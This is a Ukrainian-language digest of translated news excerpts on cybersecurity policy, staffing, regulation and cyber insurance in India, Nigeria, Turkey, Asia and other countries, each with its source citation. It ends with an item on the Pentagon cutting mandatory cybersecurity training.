Проблеми з наймом персоналу залишаються актуальними: 38% респондентів повідомляють, що на заповнення вакансій початкового рівня потрібно від трьох до шести місяців, а 42% стикаються з подібними термінами для посад середнього та вищого рівня. Понад половина організацій стикаються з проблемами утримання талановитих співробітників, а 83% очікують зростання попиту на технічних фахівців, що значно перевищує середній світовий показник. Однак позитивним моментом є те, що менше організацій (42%) вважають свої бюджети на кібербезпеку недостатніми, що на 57% менше, ніж торік, а 65% очікують збільшення бюджетів…

Що стосується бажаних навичок, то попередній досвід (76%) та адаптивність (73%) є найважливішими кваліфікаціями, які шукають роботодавці, тоді як критичне мислення (55%), вирішення проблем (52%) та комунікація (51%) були визначені як найбільш відсутні м'які навички. Одночасно штучний інтелект швидко змінює функції безпеки: половина респондентів зараз бере участь в управлінні штучним інтелектом, а 46% — у його впровадженні, переважно для автоматичного виявлення загроз, безпеки кінцевих точок та автоматизації рутинних завдань. Така залежність від штучного інтелекту підкреслює необхідність подолання розриву в навичках та швидкості, хоча високий рівень стресу, про який згадують 59% фахівців, підсилюється складним ландшафтом загроз, обмеженими кар'єрними перспективами та недостатніми фінансовими стимулами». ***(40% Of Indian Cybersecurity Teams Understaffed, Almost 70% Positions Vacant: Report // BW BUSINESSWORLD (https://www.businessworld.in/article/40-of-indian-cybersecurity-teams-understaffed-almost-70-positions-vacant-report-574742). 08.10.2025).***

***

«Індійська технологічна галузь, оцінена в 350 мільярдів доларів США і яка, за прогнозами, до 2030 року буде забезпечувати майже 10% національного ВВП, стикається з дедалі більшою вразливістю до загроз кібербезпеки, які глобальні підприємства, в тому числі в Індії, зараз розглядають як основний ризик судових спорів, згідно з прогнозом Baker McKenzie Global Disputes Forecast 2025. Ця нагальність випливає з швидкого зростання геополітичних криз та технологічної залежності, що збігається з швидким впровадженням Інтернету речей (IoT) в Індії, який, за прогнозами, до 2025 року досягне п'яти мільярдів взаємопов'язаних пристроїв…

У звіті Baker McKenzie підкреслюється, що індійський технологічний сектор, який у 2024 році зафіксував понад 1,8 мільйона кібератак, є особливо вразливим до складних загроз, таких як програми-вимагачі та атаки, спрямовані на вразливі пристрої Інтернету речей (IoT). У відповідь на це Індія посилила свою нормативно-правову базу шляхом внесення останніх поправок до Закону про інформаційні

технології 2000 року та оновлення керівних принципів CERT-In, які вимагають відповідального розкриття та усунення вразливостей Інтернету речей, що відповідає прогнозованому акценту на проактивному зменшенні ризиків. Зокрема, нові правила вимагають усунення вразливостей у визначені терміни та повідомлення CERT-In протягом шести годин після виявлення, що є проактивною позицією, спрямованою на запобігання порушенням безпеки даних, які в даний час коштують індійським компаніям в середньому 200 млн індійських рупій кожна.

Централізована модель регулювання в Індії, яка в основному управляється CERT-In і підтримується Законом про захист цифрових персональних даних (DPDPA) 2023 року, забезпечує порівняльну перевагу над фрагментарним, непослідовним підходом, який спостерігається в США, дозволяючи швидше повідомляти про інциденти (шість годин проти 72 годин для істотних порушень згідно з SEC США) та ефективніше обмінюватися інформацією про загрози. Очікується, що така структурна ефективність обмежить вплив порушень на 15-20%...

Однак значною проблемою залишається вартість дотримання вимог для малих і середніх підприємств (МСП), які становлять 90% індійського технологічного сектору. Ці витрати, які оцінюються в 5-10 лакхів індійських рупій на рік для заходів з кібербезпеки, є непропорційно високими і загрожують придушити інновації МСП, незважаючи на те, що ці заходи є критично важливими для захисту критичної інфраструктури, такої як електромережі та фінансові системи. Залежність від централізованих державних процесів без субсидованої підтримки малих і середніх підприємств посилює ризики для ланцюгів постачання, оскільки значна частина малих і середніх підприємств передає ІТ-послуги на аутсорсинг без належного контролю. Тому майбутня стійкість Індії залежить від балансу між обов'язковим розкриттям вразливостей та справедливими механізмами дотримання вимог, щоб захист критичної інфраструктури не перешкоджав зростанню та інноваціям малих і середніх підприємств у глобальному середовищі, схильному до ризиків…» ***(Durva Shinde. Cybersecurity Enhancements in India's Tech Sector: 2025 Global Disputes Forecast Implications // IP & Legal Filings (IPLF) (https://www.ipandlegalfilings.com/cybersecurity-enhancements-in-indias-tech-sector-2025-global-disputes-forecast-implications/). 16.10.2025).***

***

Інші країни

«Міністерство внутрішніх справ Марокко розпочало масштабний стратегічний проект кібербезпеки, спрямований на посилення захисту своїх ІТ-систем як на центральному, так і на територіальному рівнях.

Ініціатива, вартістю 33,6 мільйона дирхамів, є частиною міжнародного тендеру № 30/2025 та відповідає на зростаючу хвилю кіберзагроз, спрямованих проти урядової інфраструктури.

Згідно з офіційною тендерною документацією, програма спрямована на захист центральної адміністрації міністерства та його 83 провінційних та префектурних установ, посилюючи стійкість до потенційних кібератак.

Цей план знаменує собою вирішальний крок у модернізації архітектури цифрової безпеки міністерства за допомогою передових технологій захисту, спостереження та реагування на загрози.

Проєкт поділено на три основні технічні компоненти: захист периметра, управління вразливостями та безпека зв'язку…

Окрім технологій, проєкт робить акцент на розбудові потенціалу. Обраний підрядник повинен забезпечити спеціалізоване навчання для ІТ-адміністраторів міністерства та забезпечити нагляд з боку сертифікованого керівника проєкту». ***(Interior Ministry launches 33.6 million dirham cybersecurity overhaul to protect national infrastructure // Hespress (https://en.hespress.com/123108-interior-ministry-launches-33-6-million-dirham-cybersecurity-overhaul-to-protect-national-infrastructure.html). 12.10.2025).***

***

«Незважаючи на збільшення інвестицій у технології безпеки, багато організацій у Фіджі не використовують у повній мірі або не налаштовують належним чином придбані засоби кібербезпеки, що, на думку експертів, сприяє зростанню кількості фішингових атак та кібершантажу. За словами Тупу Баравілала, генерального директора з цифрових технологій Міністерства комунікацій, компанії часто залишаються вразливими, оскільки не активують необхідні функції та засоби контролю у своїх дорогих інструментах… Баравілала підкреслив, що хоча фішинг залишається головною загрозою у Фіджі та Тихоокеанському регіоні, організації можуть значно зменшити ризик, просто застосовуючи належні практики кібергігієни. Посилаючись на звіт Microsoft, він зазначив, що 99% виявлених кібератак можна було б запобігти за допомогою базових заходів безпеки. У відповідь на ці вразливості уряд Фіджі просуває Національну політику конфіденційності та захисту персональних даних, щоб встановити більш суворі закони про захист даних та рамки дотримання вимог у всій країні». ***(Josefa Sigavolavola. Underused cybersecurity tools fuel cyber-attacks in Fiji // fbc news (https://www.fbcnews.com.fj/news/underused-cybersecurity-tools-fuel-cyber-attacks-in-fiji/). 12.10.2025).***

***

«…У зв'язку з тим, що кількість кібератак і витоків даних у всьому світі продовжує зростати, експерти терміново закликають нігерійців посилити заходи захисту своїх паролів, посилаючись на нещодавні масові витоки даних, зокрема витік у червні 2025 року, в результаті якого було викрадено понад 16 мільярдів облікових даних, що підкреслює високу вразливість приватних осіб та організацій. Оскільки Африка стає головним об'єктом фішингу та крадіжок облікових даних, надійна безпека має критичне значення, особливо в умовах зростаючого поширення цифрових платформ у Нігерії…

Експерти наголошують, що паролі, які називають «першою і найособистішою лінією захисту», повинні бути унікальними, довгими, захищеними і постійно контролюватися. Рекомендації включають використання надійних, унікальних паролів із поєднанням різних символів, надання пріоритету довжині над складністю (наприклад, пароль із 16 символів) та уникнення передбачуваних комбінацій. Френк Самуель із Sahara Impact Ventures наголосив на важливості проактивного управління безпекою, включаючи активацію двофакторної автентифікації (2FA) та ключів безпеки…

Джед Ойенеє з The Hacktive Campaign порадив приватним особам та організаціям використовувати менеджери паролів з нульовим рівнем знань, які безпечно генерують та зберігають паролі з високою ентропією, тим самим усуваючи ризик повторного використання паролів. Він також закликав керівників підприємств впровадити системи багатофакторної автентифікації (MFA), стійкі до фішингу, такі як FIDO2 або апаратні ключі WebAuthn (наприклад, YubiKey або Google Titan), які забезпечують майже непроникний захист від складних атак, на відміну від менш безпечних одноразових паролів на основі SMS. Крім того, для зменшення ризику ланцюгових порушень після зломів необхідно здійснювати постійний моніторинг за допомогою таких інструментів, як «Have I Been Pwned», та підтримувати план відновлення. У рамках Місяця обізнаності про кібербезпеку 2025 року фахівці з безпеки наголошують на простих кроках, які допоможуть уникнути використання публічних мереж Wi-Fi для конфіденційних транзакцій та бути пильними до фішингових атак». ***(Folake Balogun. Cybersecurity experts urge Nigerians to strengthen password practices amid Global surge in data breaches // BUSINESSDAY MEDIA LTD (https://businessday.ng/technology/article/cybersecurity-experts-urge-nigerians-to-strengthen-password-practices-amid-global-surge-in-data-breaches/). 09.10.2025).***

***

«…Під час щорічної кампанії з підвищення обізнаності про кіберзлочини в Абуджі, міністр юстиції та генеральний прокурор Латіф Фагбемі (SAN) повідомив, що в першому кварталі 2025 року нігерійські організації зазнавали в середньому 4388 кібератак на тиждень, що на 47% більше, ніж у попередньому році. Це вивело країну на п'яте місце у світі за кількістю кіберзлочинів, які коштують країні приблизно 500 мільйонів доларів на рік. Посилаючись на оцінку кіберзлочинності в Африці за 2023 рік, підготовлену Інтерполом, він зазначив, що Нігерія є однією з країн континенту, які найчастіше стають жертвами компрометації ділової електронної пошти, онлайн-шахрайства та сексторції — загроз, які підривають довіру громадськості та перешкоджають інвестиціям в економіку, яка прагне стати цифровим центром Африки…

Фагбемі попередив, що «цифровий простір зараз є передовою лінією для економічного виживання, довіри громадськості та національної безпеки», і закликав до термінових, скоординованих дій на національному рівні. Зараз готуються два нових законопроекти: один – щодо модернізації положень кримінального права про кіберзлочини, інший – щодо встановлення управління кібербезпекою та захисту критичної інфраструктури відповідно до Будапештської

конвенції та Конвенції ООН про кіберзлочинність 2024 року. Він також закликав до посилення інституційної координації та співпраці між державним і приватним секторами, пообіцявши реформи у сфері правосуддя для підвищення відповідальності…

Постійний секретар Беатріс Джедді-Агба підтримала заклик до міжгалузевої співпраці, зазначивши, що зростання цифрової зв'язності Нігерії супроводжується все більш витонченими діями кіберзлочинців. Захід, що проходив під гаслом «На шляху до скоординованої та обґрунтованої національної відповіді на кіберзлочинність», зібрав учасників з Національної асамблеї, правоохоронних органів, судової влади, УНП ООН, ЄС, приватних технологічних компаній, наукових кіл та громадянського суспільства, підкресливши, що захист кіберпростору Нігерії є спільною відповідальністю». ***(Ladi Patrick-Okwoli. Nigeria records 4,388 weekly cyberattacks on businesses in Q1 2025 – Fagbemi // BUSINESSDAY MEDIA LTD (https://businessday.ng/news/article/nigeria-records-4388-weekly-cyberattacks-on-businesses-in-q1-2025-fagbemi/). 14.10.2025).***

***

«…Танк Год Чіменем, голова Національної асоціації нігерійських студентів (NANS) Федеральної столичної території, закликав нігерійську молодь відмовитися від кібершахрайства та кібератак, наголосивши, що такі дії загрожують ідентичності та прогресу нації. Виступаючи на саміті з кібербезпеки в Університеті Абуджі, Чіменем закликав студентів взяти на себе ініціативу у забезпеченні цифрового майбутнього Нігерії через інновації, відповідальність та кіберсвідомість, сприймаючи технології не лише як користувачі, а й як захисники та новатори… У своїй статті «Забезпечення цифрового майбутнього Нігерії: молодіжні інновації та національна кіберстійкість» він підкреслив, що стрімке зростання країни як провідної цифрової економіки відкриває нові можливості, але й несе значні ризики, попередивши, що кібератаки, онлайн-шахрайство та дезінформація можуть підірвати економічний прогрес і національну ідентичність, якщо не вжити активних заходів. Чіменем стверджував, що забезпечення безпеки цифрового простору передбачає захист «мрій, творчості та інновацій нового покоління», позиціонуючи нігерійську молодь як архітекторів технологічного майбутнього країни. Незважаючи на багатообіцяючі прогнози щодо цифрової економіки Нігерії, яка робить значний внесок у ВВП і прагне інтегрувати нові технології, такі як штучний інтелект, виклики в галузі інфраструктури та кібербезпеки залишаються серйозними загрозами…» ***(Deborah Tolu-Kolawole. Fraud, cyberattacks threaten Nigeria's identity — NANS // Punch Nigeria Limited (https://punchng.com/fraud-cyberattacks-threaten-nigerias-identity-nans/). 18.10.2025).***

***

«…Незважаючи на стрімке зростання та значні міжнародні інвестиції — включаючи спеціальні фонди США — в кіберсектор Ізраїлю, засновники та директори стартапів повинні бути обізнані про важливе законодавче обмеження: статтю 98 ізраїльського закону про патенти. Цей закон забороняє

подавати пріоритетну заявку на патент за межами Ізраїлю на будь-який винахід, що може мати військове значення або значення для національної безпеки, якщо не минуло шість місяців без видачі наказу про збереження таємниці або не було отримано попереднього схвалення від міністра оборони. Порушення цієї заборони є кримінальним злочином, що карається штрафом або позбавленням волі на строк до двох років…

Важливо, що це обмеження не обмежується лише наступальними інструментами (такими як методи хакерства); воно широко охоплює будь-які винаходи, що мають цінність для безпеки, включаючи захисні рішення, такі як системи виявлення вторгнень, інструменти моніторингу хмарних технологій та рішення для захисту критичної інфраструктури. Оскільки межа між цивільними та оборонними технологіями часто є розмитою, будь-яка кіберкомпанія, яка прагне подати заявку на патент за кордоном, наприклад у США, ризикує ненавмисно порушити розділ 98, якщо спочатку не проведе відповідну юридичну перевірку в Ізраїлі. З огляду на швидкість, з якою працюють кіберкомпанії, ігнорування цього обмеження становить серйозну відповідальність, тому для визначення відповідності вимогам настійно рекомендується звернутися до професійного юриста…» ***(Andrey Vapniarsky. The cyber trap: When exporting your IP becomes a crime // Calcalist (https://www.calcalistech.com/ctechnews/article/hjnx411zrgl). 19.10.2025).***

***

«Мохаммад Амін Агамірі, глава Національного центру кіберпростору Ірану, оголосив, що три значні кібератаки, спрямовані нещодавно на інфраструктуру країни, були успішно відбиті завдяки пильності відповідних органів влади. Виступаючи на конференції з кібербезпеки, Агамірі підкреслив, що запобігання вразливості є головним пріоритетом, зазначивши, що Національний центр кіберпростору видав у 2023 році директиву про посилення захисту. Крім того, кіберполіція (FATA) запустила програму, яка надає фахівцям з кібербезпеки приватного сектора можливість проактивно виявляти та усувати слабкі місця системи, перш ніж ними зможуть скористатися зловмисники…» ***(Iran wards off 3 major cyberattacks on natl. Infrastructures // Mehr News Agency (https://en.mehrnews.com/news/237687/Iran-wards-off-3-major-cyberattacks-on-natl-infrastructures). 14.10.2025).***

***

«Кіберзагрози швидко поширюються по всій Азії, що змушує організації посилювати заходи безпеки даних та реагування на інциденти в умовах мінливих нормативних вимог. У той час як такі країни, як Бруней і Камбоджа, перебувають на початковому етапі розробки законів про захист даних, інші, наприклад Китай, Індія та Південна Корея, з 2020 року прийняли комплексні закони, а такі країни, як Малайзія і Таїланд, вдосконалюють механізми їхнього виконання. Підприємства, що працюють у цьому різноманітному регіоні, повинні враховувати значні відмінності в зобов'язаннях щодо безпеки, правилах повідомлення про порушення та зрілості нормативно-правової бази.

Ключові юрисдикції демонструють різний ступінь суворості та складності:

Бруней (BN PDPO, 2025) вимагає вжиття розумних заходів безпеки та зобов'язує повідомляти AITI протягом трьох днів про інциденти, які можуть спричинити «значну шкоду» або мати значний масштаб.

Камбоджа не має комплексного законодавства, покладаючись головним чином на конституційні права на приватність та Закон про електронну комерцію, без чітких правил щодо повідомлення про порушення.

Китай регулює цю сферу трьома основними законами (CSL, DSL, PIPL), встановлюючи багаторівневі стандарти безпеки. Контролери даних повинні негайно повідомляти про порушення відповідні органи та постраждалих осіб, дотримуючись конкретних вказівок, наведених у Заходах з управління повідомленнями про інциденти кібербезпеки (CIRMM).

Гонконг (HK PDPO) вимагає вжиття «всіх практичних заходів» для забезпечення безпеки даних; хоча повідомлення PCPD не є обов'язковим за законом, воно настійно рекомендується, а оператори критичної інформаційної інфраструктури (CII) повинні повідомляти про інциденти протягом 12 або 48 годин відповідно до постанови PCICS.

Індія (DPDPA) зобов'язує довірених осіб, що відповідають за дані, вживати технічних та організаційних заходів і негайно повідомляти Раду з питань захисту даних Індії (DPBI) про порушення, а також надавати детальну інформацію протягом 72 годин.

Індонезія (Закон про захист персональних даних) вимагає письмового повідомлення постраждалої особи та Міністерства комунікацій та цифрових справ (MOCDA) протягом 72 годин після порушення захисту персональних даних.

Японія (APPI) вимагає повідомляти про істотні порушення (наприклад, такі, що зачіпають понад 1000 осіб або спричинені зловмисними діями) до PPC та постраждалих осіб.

Корея (PIPA) вимагає вжиття технічних, управлінських та фізичних заходів безпеки, а також вимагає повідомлення Комісії з захисту персональних даних (PIPC) та суб'єктів даних, яких це стосується, протягом 72 годин, якщо це стосується конфіденційних даних або інформації 1000 суб'єктів.

Малайзія (MY PDPA, CSA 2024) вимагає повідомлення комісара протягом 72 годин про порушення, які можуть спричинити «значну шкоду», а суб'єкти CII повинні повідомляти про інциденти кібербезпеки протягом шести годин до Національного агентства з кібербезпеки.

Філіппіни (DPA) вимагають від контролерів персональних даних (PIC) повідомляти Національну комісію з питань конфіденційності (NPC) та зацікавлених осіб протягом 72 годин про порушення, що стосуються конфіденційних даних або даних з високим рівнем ризику, які можуть заподіяти серйозну шкоду.

Сінгапур (SG PDPA, Закон про кібербезпеку) вимагає повідомлення PDPC протягом трьох днів про порушення, що зачіпають 500 або більше осіб або можуть заподіяти значної шкоди, а власники CII повинні повідомляти про конкретні кіберінциденти протягом двох годин.

Тайвань (TW PDPA, CMA) має галузеві керівні принципи безпеки та вимагає від CIP впровадження суворих планів підтримки кібербезпеки. Хоча загальне регуляторне повідомлення про порушення даних ще не є обов'язковим, агентства повинні повідомляти суб'єктів даних про порушення їхніх даних, а певні неурядові агентства повинні повідомляти про інциденти кібербезпеки протягом однієї години.

В'єтнам (PDPD, LOC) вимагає технічних заходів безпеки та зобов'язує контролерів даних повідомляти Міністерство громадської безпеки (MPS) протягом 72 годин про порушення даних, хоча повідомлення про це особам, яких це стосується, зазвичай не вимагається згідно з PDPD…

Ця розбіжність у правовій зрілості підкреслює нагальну необхідність для транснаціональних компаній ознайомитися з конкретними вимогами кожної відповідної юрисдикції, щоб забезпечити дотримання вимог та ефективне реагування на інциденти…» ***(Lim Chong Kin, David N Alfred, Anastasia Su-Anne Chen. Unlocking Asia's data protection landscape: essential insights on breach notifications and cybersecurity obligations // Law Business Research (https://globalinvestigationsreview.com/guide/the-guide-cyber-investigations/fourth-edition/article/unlocking-asias-data-protection-landscape-essential-insights-breach-notifications-and-cybersecurity-obligations). 14.10.2025).***

***

«Туреччина прийняла комплексний Закон про кібербезпеку № 7545, який набрав чинності 19 березня 2025 року, з метою запобігання кіберзагрозам, визначення національних стратегій та створення Ради з кібербезпеки. Закон надає широкі повноваження новому Президенту з питань кібербезпеки та широко застосовується практично до всіх державних і приватних осіб та установ, які існують, діють або надають послуги в кіберпросторі на території Туреччини, з наданням однорічного періоду для приведення у відповідність…

Закон накладає широкі зобов'язання на всі суб'єкти, що здійснюють діяльність у кіберпросторі, наголошуючи на відповідальності, постійному вдосконаленні та пріоритетності вітчизняних і національних продуктів для забезпечення кібербезпеки. Президентство має завдання підвищити кіберстійкість критичної інфраструктури, встановити стандарти безпеки та проводити аудити, маючи повноваження вимагати будь-яку необхідну інформацію або документи. Крім того, Закон регулює захист персональних даних, вимагаючи, щоб обробка даних відповідала Закону про захист персональних даних № 6698, та зобов'язує знищувати персональні дані та комерційну таємницю, коли причини для доступу до них більше не існують…

Важливо, що Закон передбачає суворі покарання та високі адміністративні штрафи за порушення. Штрафи за корпоративні правопорушення становлять від 1 млн до 100 млн турецьких лір і можуть досягати 5% валового доходу від продажів для комерційних компаній, які не виконують своїх зобов'язань. Кримінальні санкції включають тюремне ув'язнення за різні правопорушення, такі як ненадання запитуваної інформації, діяльність без необхідних дозволів, порушення конфіденційності та поширення неправдивої інформації про витік даних. Суб'єкти,

які не виконають свої зобов'язання до кінця однорічного перехідного періоду, можуть бути ліквідовані за рішенням суду або повинні видалити згадки про кібербезпеку зі своїх корпоративних договорів. З огляду на широкий обсяг та суворі наслідки, всі особи, що здійснюють діяльність у кіберпросторі, повинні терміново привести свої системи у відповідність, щоб захистити свої цифрові активи, репутацію та досягти стійкості до кіберзагроз». ***(Kemal Altuğ Özgün, Sena Karaduman İşlek and Şevval Lafçı. Legal Shield for Digital Security: Turkey's First Cyber Security Law // CBC Law (https://www.cbclaw.com.tr/en/legal-shield-for-digital-security-turkeys-first-cyber-security-law). 21.10.2025).***

***

Кіберстрахування

«У новому звіті Федерації європейських асоціацій з управління ризиками (FERMA), підготовленому у співпраці з Marsh і Howden, підкреслюється, що кіберстрахування слід розглядати як «додатковий інструмент» для передачі фінансових ризиків, пов'язаних з кіберінцидентами, а не як замінник надійних заходів кібербезпеки. У звіті «Демонстрація кіберстрахування» розглядаються постійні сумніви європейських менеджерів з управління ризиками щодо виключень (зокрема, щодо війни та системних ризиків), прогалин у покритті та проблем з обробкою страхових вимог, що сприяє низькому рівню його використання, особливо серед малих та середніх підприємств…

Голова цифрового комітету FERMA Філіп Котель зазначив, що недостатня обізнаність про сучасні продукти кіберстрахування призводить до недооцінки їхньої цінності для підвищення стійкості організацій. Дослідження закликає менеджерів з ризиків ретельно оцінювати кіберризики, перевіряти всі поліси на наявність прогалин або дублювання та сприяти тіснішій співпраці з брокерами. Крім того, воно виступає за більш чітке розмежування між кіберзахистом і захистом від злочинів — потенційно за допомогою комбінованих рішень — та розробку більш індивідуалізованих, прозорих продуктів, які узгоджують страхування з заходами кібербезпеки, що в кінцевому підсумку вимагає від усієї галузі вдосконалення своїх пропозицій для підтримки більш стабільної та стійкої європейської економіки». ***(Kane Wells. Cyber insurance should complement, not replace, cybersecurity: FERMA // Steve Evans Ltd. (https://www.reinsurancene.ws/cyber-insurance-should-complement-not-replace-cybersecurity-ferma/). 06.10.2025).***

***

«…У відповідь на зростання частоти та складності кіберзагроз страхові компанії кардинально змінюють ландшафт кіберстрахування, встановлюючи більш суворі вимоги до страхувальників. Ця еволюція змінює підхід підприємств до управління кібербезпекою з метою забезпечення та збереження страхового покриття…

Щоб зменшити частоту та серйозність страхових випадків, страхові компанії зараз вимагають впровадження певних заходів безпеки. Основні вимоги включають впровадження багатофакторної автентифікації (MFA) у всіх точках доступу, розробку та регулярне тестування офіційних планів реагування на інциденти, а також впровадження вдосконалених рішень для виявлення та реагування на інциденти на кінцевих точках (EDR). Крім того, підприємства змушені посилювати управління ризиками, пов'язаними з сторонніми постачальниками, проводити постійне сканування вразливостей та управління виправленнями, а також надавати докази дотримання вимог законодавства про захист персональних даних…

Наслідки недотримання вимог є значними і можуть призвести до відмови у виплаті страхового відшкодування, зменшення страхового покриття або підвищення страхових премій. І навпаки, впровадження передових заходів, таких як виявлення загроз на основі штучного інтелекту, іноді може призвести до знижки страхових премій. В кінцевому підсумку, така зміна змушує підприємства посилювати свої захисні заходи, що, в свою чергу, допомагає страховикам управляти своїми фінансовими ризиками. Для страхувальників, які дотримуються вимог, перевагою є посилення безпеки, що мінімізує перебої в роботі підприємства та зменшує фінансовий вплив потенційного кіберінциденту…» ***(Lynn Rohland. Impacts of Cyber Threat Landscape on Insurers and Policyholders // Gray Reed Advisory Services LLC (https://www.grayreedadvisory.com/post/impacts-of-cyber-threat-landscape-on-insurers-and-policyholders). 07.10.2025).***

***

«…Недавнє опитування Moody's, в якому взяли участь 102 страхові компанії та компанії з управління активами з усього світу, показує, що кібербезпека залишається головним питанням, що вимагає посиленої уваги з боку правлінь та вищого керівництва. Нагляд посилюється: більшість компаній покладають відповідальність на керівників вищого рівня, а 40% респондентів тепер пов'язують винагороду керівників з визначеними цілями у сфері кібербезпеки, що на 24% більше, ніж у 2023 році, що свідчить про посилення акценту на відповідальності. Інвестиції продовжують зростати: компанії виділяють більшу частину своїх IT-бюджетів на кіберзахист, а приблизно половина планує найняти додатковий персонал з кібербезпеки…

Ці постійні інвестиції мають позитивний вплив на ситуацію зі страховими виплатами: хоча частота повідомлень про страхові випадки у першій половині 2025 року залишилася незмінною, серйозність страхових випадків знизилася більш ніж наполовину, а великі страхові виплати зменшилися на 30%. Однак програмне забезпечення для вимагання викупу залишається основною причиною інцидентів, на які припадає 60% великих страхових виплат, а зловмисники все частіше націлюються на малі та середні підприємства, які мають менш надійний захист. Одночасно середня глобальна вартість порушення безпеки даних продовжує зростати, досягнувши майже 5 мільйонів доларів у 2024 році під впливом більш суворих правил щодо конфіденційності даних…

Управління ризиками третіх сторін (TPRM) є головним пріоритетом, і більшість компаній впроваджують офіційні програми управління ризиками

постачальників та угоди про рівень обслуговування, хоча в регіоні EMEA їх впровадження відбувається повільніше. Крім того, понад 80% страхових компаній та компаній з управління активами встановили офіційну політику управління штучним інтелектом, демонструючи дисципліновану та проактивну позицію, особливо серед великих компаній. Нарешті, покриття кіберстрахування значно відрізняється залежно від регіону: 90% респондентів в Америці мають окремі поліси, порівняно з 63% в регіоні EMEA і лише 38% в регіоні APAC. Дивлячись у майбутнє до 2025 року, більшість респондентів очікують, що їхні ліміти покриття залишаться незмінними, а 53% передбачають стабільні ціни на кіберстрахування при поновленні». ***(Kenneth Araullo. Insurers continue to boost cybersecurity oversight and investment – Moody's // KM Business Information Canada Ltd. (https://www.insurancebusinessmag.com/ca/news/cyber/insurers-continue-to-boost-cybersecurity-oversight-and-investment--moodys-552632.aspx). 10.10.2025).***

***

«З початком Місяця обізнаності про кібербезпеку компанія Zensurance закликає канадські малі підприємства звернути увагу на зростаючі кіберзагрози, зазначаючи, що багато з них залишаються незахищеними, незважаючи на різке збільшення кількості атак. Опитування Pollfish, проведене на замовлення компанії, показало, що 53% малих підприємств вже стикалися з інцидентами, серед яких найпоширенішими загрозами були фішинг (46%), шкідливе програмне забезпечення (23%) та шахрайські перекази (19%). Ці атаки призводять до значних фінансових втрат: за даними галузі, середні збитки від фішингу становлять 89 000 доларів, а від програм-вимагачів — аж 330 000 доларів, що значно перевищує вартість страхування від кіберзагроз…

Незважаючи на ці ризики, страхове покриття залишається недостатнім. Згідно з індексом довіри малого бізнесу Zensurance, майже чверть підприємств не готові до атак, а кожне четверте підприємство взагалі не має страхового покриття від кіберзагроз. Понад 60% малих підприємств досі вважають, що вони «занадто малі», щоб стати об'єктом атаки. Генеральний директор Zensurance Даніш Юсуф застеріг, що малі підприємства часто недооцінюють, наскільки легко один шахрайський клік може поставити під загрозу їхнє виживання. Ця проблема ускладнюється зростанням кількості атак із використанням штучного інтелекту, які третина власників вважають серйозною загрозою…

За словами консультанта з кібербезпеки Грейма Баррі, малі підприємства є привабливою мішенню через обмеженість засобів захисту, тому для збереження активів необхідне поєднання превентивних заходів та страхування. Для страхового сектору це є одночасно викликом і можливістю: брокери повинні інформувати малі підприємства та адаптувати продукти до обмежених бюджетів. У міру ескалації проблеми програм-вимагачів очікується зростання попиту на окремі поліси кіберзахисту, але страховики можуть зіткнутися з тиском на підвищення премій для секторів з високим рівнем ризику і будуть змушені коригувати стандарти страхування з урахуванням ризиків, пов'язаних з штучним інтелектом. Страховики, які успішно поєднують доступне покриття, освіту та проактивні послуги з управління ризиками, як очікується, захоплять частку ринку в цьому швидко

зростаючому сегменті». ***(Josh Recamara. AI-powered attacks push cyber risks higher for Canada's SMEs: Zensurance // KM Business Information Canada Ltd. (https://www.insurancebusinessmag.com/ca/news/cyber/aipowered-attacks-push-cyber-risks-higher-for-canadas-smes-zensurance-551828.aspx). 03.10.2025).***

***

«Світовий ринок кіберстрахування, оцінений у 15,3 млрд доларів у 2024 році і, за прогнозами, досягне 16,3 млрд доларів до кінця 2025 року, становить менше 1% від загального ринку страхування майна та від нещасних випадків, що свідчить про повільне зростання та значну «прогалину в кіберзахисті». Цей розрив зберігається, оскільки більшість кіберризиків залишаються незастрахованими через небажані ціни, недостатню обізнаність про продукти, обмежене розуміння полісів та недостатній обсяг покриття для бажаного захисту. Як наслідок, лише близько 47% організацій, що мають право на страхування, володіють полісом кіберстрахування, хоча рівень його поширення в Європі (50%) дещо вищий, ніж у Північній Америці (45%)…

Незважаючи на занепокоєння щодо нових загроз, таких як штучний інтелект (ШІ), у звіті Munich Re вказано, що на сьогоднішній день провідною кіберзагрозою та основною причиною збитків у сфері кіберстрахування є програми-вимагачі, середня сума викупу за якими у 2024 році сягне 600 000 доларів. З 2017 року найбільшу частку збитків від програм-вимагачів несуть сектори виробництва, охорони здоров'я та роздрібної торгівлі… Інші основні тенденції, за якими організації повинні стежити, включають націлювання на штучний інтелект у разі порушень, зростаючу вразливість традиційних методів безпеки до квантових обчислень та поширення пристроїв в IT-, IIoT- та OT-середовищах…

Загалом, хоча прогнозується, що ринок кіберстрахування буде зростати в середньому на 10% щорічно до 2030 року, загальне розуміння цих ринкових тенденцій є надзвичайно важливим для організацій, щоб орієнтуватися в практичних та договірних зобов'язаннях щодо кіберстрахування, які стають дедалі поширенішими в технологічних та аутсорсингових угодах.» ***(Cooper J. Attig, Eric J. Pennesi. Cybersecurity Insurance – A Burgeoning Global Market // Morgan, Lewis & Bockius LLP. (https://www.morganlewis.com/blogs/sourcingatmorganlewis/2025/10/cybersecurity-insurance-a-burgeoning-global-market). 10.10.2025).***

***

Кібервійни та протидія зовнішній кібернетичній агресії

«…Міністр оборони Піт Хегсет, після перейменування Міністерства оборони на Міністерство війни, 30 вересня видав указ, в якому наказав керівництву Пентагону та військовим відомствам «послабити обов'язкову частоту проведення тренінгів з кібербезпеки» та низки інших обов'язкових курсів, включаючи тренінги з контрольованої несекретної інформації (CUI) та Закону про конфіденційність… Хегсет заявив, що ці зміни необхідні для

усунення відволікаючих факторів і забезпечення того, щоб військові зосередилися на своїй основній місії – веденні війни та перемозі в ній, закликаючи до «швидкого» впровадження цих змін…

Однак експерти та аналітики з кібербезпеки попередили, що скорочення обов'язкового навчання створює значні ризики та послаблює кіберзахист Пентагону. Стратеги, такі як Пітер В. Сінгер, стверджували, що замість послаблення вимог, міністерство повинно оновити програму навчання, щоб протидіяти новим загрозам кібер- та когнітивної війни з боку таких супротивників, як Китай і Росія... Відставний контр-адмірал Марк Монтгомері назвав цей захід «театральним», зазначивши, що невелика економія часу не виправдовує ослаблення захисту від основної поверхні атаки, яку сьогодні використовує Комуністична партія Китаю. Ці побоювання суперечать недавнім заявам високопоставлених чиновників з питань оборони, які наголосили, що надійна кібергігієна та усвідомлення загроз є критично важливими питаннями готовності, необхідними для всього персоналу, а не тільки для IT-фахівців». ***(Jon Harper. DOD to cut back on mandatory cybersecurity training // DefenseScoop (https://defensescoop.com/2025/10/03/dod-cybersecurity-training-us-miitary-hegseth-memo/). 03.10.2025).***

***

